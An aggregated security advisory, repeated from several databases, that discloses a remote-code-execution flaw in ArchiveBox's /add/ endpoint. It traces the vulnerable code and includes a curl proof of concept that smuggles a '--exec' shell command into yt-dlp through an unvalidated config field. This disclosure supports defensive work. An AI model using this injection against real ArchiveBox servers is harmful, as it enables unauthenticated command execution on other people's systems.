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EUVD-2026-309896

fkie_cve-2026-42601

ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.

GHSA-3h23-7824-pj8r — ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView

Affected: PyPI: archivebox

The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.

When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.

Affected code:

core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}

core/views.py:918 - merged into crawl config: config.update(custom_config)

config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)

hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)

plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)

PoC (pre-auth when PUBLIC_ADD_VIEW=True):

curl -X POST http://localhost:8000/add/ \ -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "depth=0" \ -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}"

After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.

Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --…

PYSEC-2026-283 — ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView

Affected: PyPI: archivebox

When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt. Affected code:

core/views.py:887 - user config extracted with no validation: ```python custom_config = form.cleaned_data.get("config") or {} ```

core/views.py:918 - merged into crawl config:

```python config.update(custom_config) ```

config/configset.py:255-256 - crawl config applied with high priority:

```python if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config) ```

hooks.py:398-411 - config exported as env vars:

```python for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value) ```

plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:

```python ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra) ```

PoC (pre-auth when PUBLIC_ADD_VIEW=True): ```bash curl -X POST http://localhost:8000/add/ \ -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "depth=0" \ -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}" ```

After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exe…